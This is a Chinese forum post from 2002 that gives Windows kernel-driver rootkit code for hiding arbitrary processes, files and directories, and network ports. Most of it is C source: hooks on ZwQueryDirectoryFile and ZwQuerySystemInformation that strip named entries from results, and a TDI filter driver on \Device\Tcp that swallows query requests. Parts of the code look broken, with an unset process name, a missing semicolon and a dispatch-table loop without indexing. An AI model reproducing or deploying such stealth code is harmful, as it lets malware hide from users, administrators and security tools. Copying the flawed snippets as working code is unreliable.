QQ登录

只需一步,快速开始

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 864|回复: 0

隐藏任意进程,目录/文件,注册表,端口

[复制链接]
发表于 2002-10-23 16:22:52 | 显示全部楼层 |阅读模式
Author : sinister
Email : [email protected]
HomePage: http://www.whitecell.org


查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,
ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所
写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \Device\Tcp 与 \Device\Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。
(注册表操作在 RegMon 中写的很详细,这里就不列出了)

Code:
--------------------------------------------------------------------------------


typedef struct _FILETIME
{
   DWORD dwLowDateTime;
   DWORD dwHighDateTime;
} FILETIME;

typedef struct _DirEntry
{
   DWORD dwLenToNext;
   DWORD dwAttr;
   FILETIME ftCreate, ftLastAccess, ftLastWrite;
   DWORD dwUnknown[ 2 ];
   DWORD dwFileSizeLow;
   DWORD dwFileSizeHigh;
   DWORD dwUnknown2[ 3 ];
   WORD wNameLen;
   WORD wUnknown;
   DWORD dwUnknown3;
   WORD wShortNameLen;
   WCHAR swShortName[ 12 ];
   WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
   LARGE_INTEGER        KernelTime;
   LARGE_INTEGER        UserTime;
   LARGE_INTEGER        CreateTime;
   ULONG                WaitTime;
   PVOID                StartAddress;
   CLIENT_ID            ClientIs;
   KPRIORITY            Priority;
   KPRIORITY            BasePriority;
   ULONG                ContextSwitchCount;
   ULONG                ThreadState;
   KWAIT_REASON         WaitReason;
};

struct _SYSTEM_PROCESSES
{
   ULONG                NextEntryDelta;
   ULONG                ThreadCount;
   ULONG                Reserved[6];
   LARGE_INTEGER        CreateTime;
   LARGE_INTEGER        UserTime;
   LARGE_INTEGER        KernelTime;
   UNICODE_STRING       ProcessName;
   KPRIORITY            BasePriority;
   ULONG                ProcessId;
   ULONG                InheritedFromProcessId;
   ULONG                HandleCount;
   ULONG                Reserved2[2];
   VM_COUNTERS          VmCounters;
   IO_COUNTERS          IoCounters;
   struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
   IN HANDLE hFile,
   IN HANDLE hEvent OPTIONAL,
   IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
   IN PVOID IoApcContext OPTIONAL,
   OUT PIO_STATUS_BLOCK pIoStatusBlock,
   OUT PVOID FileInformationBuffer,
   IN ULONG FileInformationBufferLength,
   IN FILE_INformATION_CLASS FileInfoClass,
   IN BOOLEAN bReturnOnlyOneEntry,
   IN PUNICODE_STRING PathMask OPTIONAL,
   IN BOOLEAN bRestartQuery)
{
   NTSTATUS             rc;
   CHAR                 aProcessName[80];   
   ANSI_STRING          ansiFileName,ansiDirName;
   UNICODE_STRING       uniFileName;
   PP_DIR               ptr;

   WCHAR                ParentDirectory[1024] = {0};
   int                  BytesReturned;
   PVOID                Object;

      
   // 执行旧的ZwQueryDirectoryFile函数
   rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
           hFile,                           
           hEvent,
           IoApcRoutine,
           IoApcContext,
           pIoStatusBlock,
           FileInformationBuffer,
           FileInformationBufferLength,
           FileInfoClass,
           bReturnOnlyOneEntry,
           PathMask,
           bRestartQuery);

   if(NT_SUCCESS(rc))
   {
       PDirEntry p;
       PDirEntry pLast;
       BOOL bLastOne;
       int found;        
       p = (PDirEntry)FileInformationBuffer;    // 将查找出来结果赋给结构
       pLast = NULL;
      
       do
       {
           bLastOne = !( p->dwLenToNext );
           RtlInitUnicodeString(&uniFileName,p->suName);
           RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
           RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
           RtlUpperString(&ansiFileName,&ansiDirName);

           found=0;
           
           // 在链表中查找是否包含当前目录
           for(ptr = list_head; ptr != NULL; ptr = ptr->next)
           {
               if (ptr->flag != PTR_HIDEDIR) continue;
               if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
               {
                   found=1;
                   break;
               }
           }//end for

           // 如果链表中包含当前目录,隐藏
           if(found)
           {
               if(bLastOne)
               {
                   if(p == (PDirEntry)FileInformationBuffer )
                   {
                        rc = 0x80000006;    //隐藏
                   }
                   else
                       pLast->dwLenToNext = 0;
                   break;
               }
               else
               {
                   int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                   int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
                   RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
                   continue;
               }
           }
           pLast = p;
           p = (PDirEntry)((char *)p + p->dwLenToNext );
       }while( !bLastOne );
       RtlFreeAnsiString(&ansiDirName);   
       RtlFreeAnsiString(&ansiFileName);
   }
   return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
   IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength)
{
   NTSTATUS rc;

   ANSI_STRING process_name,process_uname,process_name1,process_name2;
   BOOL    g_hide_proc = TRUE;
   CHAR    aProcessName[80];
   PP_DIR  ptr;            
   int     found;


   // 执行旧的ZwQuerySystemInformation函数

   rc = ((ZWQUERYSYSTEMINformATION)(OldZwQuerySystemInformation)) (
       SystemInformationClass,
       SystemInformation,
       SystemInformationLength,
       ReturnLength );

   if(NT_SUCCESS(rc ))
   {
       if( g_hide_proc && (5 == SystemInformationClass))
       {
           // 将查找出来结果赋给结构
           struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
           struct _SYSTEM_PROCESSES *prev = NULL;

           // 遍历进程
           while(curr)
           {   

               if((0 < process_name.Length) && (255 > process_name.Length))
               {
                   found=0;
                   // 遍历链表
                   for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
                   {   
                       if (ptr->flag != PTR_HIDEPROC) continue ;
                       
                       if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found =1;
}
                   }

                   // 判断如果是隐藏进程名则覆盖掉此进程名
                   while(found)
                   {

                       if(prev)
                       {
                           if(curr->NextEntryDelta)
                           {
                               prev->NextEntryDelta += curr->NextEntryDelta;
                           }
                           else
                           {
                               prev->NextEntryDelta = 0;
                           }
}
else
                       {
                           if(curr->NextEntryDelta)
                           {
                               (char *)SystemInformation += curr->NextEntryDelta;
                           }
                           else
                           {
                               SystemInformation = NULL;
                           }
                       }

if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍历链表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{   
if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
       }
   }
   return(rc);
}


//隐藏端口

    PDEVICE_OBJECT    m_TcpgetDevice;

    PDEVICE_OBJECT    TcpDevice;
    UNICODE_STRING    TcpDeviceName;
    PDRIVER_OBJECT    TcpDriver;
    PDEVICE_OBJECT    TcpgetDevice;
    PDEVICE_OBJECT    FilterDevice
    PDRIVER_DISPATCH  Empty;
    NTSTATUS          status;

    Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
   
    RtlInitUnicodeString( &TcpDeviceName, L"\Device\Tcp");

    //得到已有的设备指针

    status = IoGetDeviceObjectPointer( &TcpDeviceName,
                                       FILE_ALL_ACCESS,
                       &FileObject,
                                       &TcpDevice
                                     );


   if(!NT_SUCCESS(status))
    {
       DbgPrint("IoGetDeviceObjectPointer error!n");
       return status;
    }

   DbgPrint("IoGetDeviceObjectPointer ok!n");
  
   // 建立设备  
   status = IoCreateDevice( DriverObject,
                            sizeof(DEVICE_EXTENSION),
                            NULL,
                            FILE_DEVICE_UNKNOWN,
                            0,
                            FALSE,
                            &FilterDevice
                          );
   if(!NT_SUCCESS(status))
   {
       return status;
   }

   // 加入设备

   TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

   if(!TcpgetDevice)
   {
        IoDeleteDevice(FilterDevice);
DbgPrint("IoAttachDeviceToDeviceStack error!n");
        return STATUS_SUCCESS;
   }

   m_TcpgetDevice = TcpgetDevice;

  // 加到过滤函数中处理
  for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
  {
      if((TcpDriver->MajorFunction!=Empty)&&(DriverObject->MajorFunction==Empty))
      {
          DriverObject->MajorFunction = PassThrough;
  
      }
  }

  ObDereferenceObject(FileObject);


NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{

      NTSTATUS                    status;
      PIO_STACK_LOCATION          pIrpStack;

      pIrpStack = IoGetCurrentIrpStackLocation( Irp );


      //如是查询则完成 IRP
      if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INformATION_EX)
      {
           //这里可以近一步判断某个端口

           Irp->IoStatus.Status=STATUS_SUCCESS;
           IoCompleteRequest(Irp,IO_NO_INCREMENT);
           return STATUS_SUCCESS;
      }

     //复制当前 IRP
     IoCopyCurrentIrpStackLocationToNext(Irp);

     IoSetCompletionRoutine( Irp,
                             GenericCompletion,
                             NULL,
                             TRUE,
                     TRUE,
                     TRUE
                   );

     //传递
     return IoCallDriver( m_TcpgetDevice, Irp);

}
您需要登录后才可以回帖 登录 | 注册

本版积分规则

GMT+8, 2024-5-4 09:45 , Processed in 0.125856 second(s), 15 queries .

© 2021 Powered by Discuz! X3.5.

快速回复 返回顶部 返回列表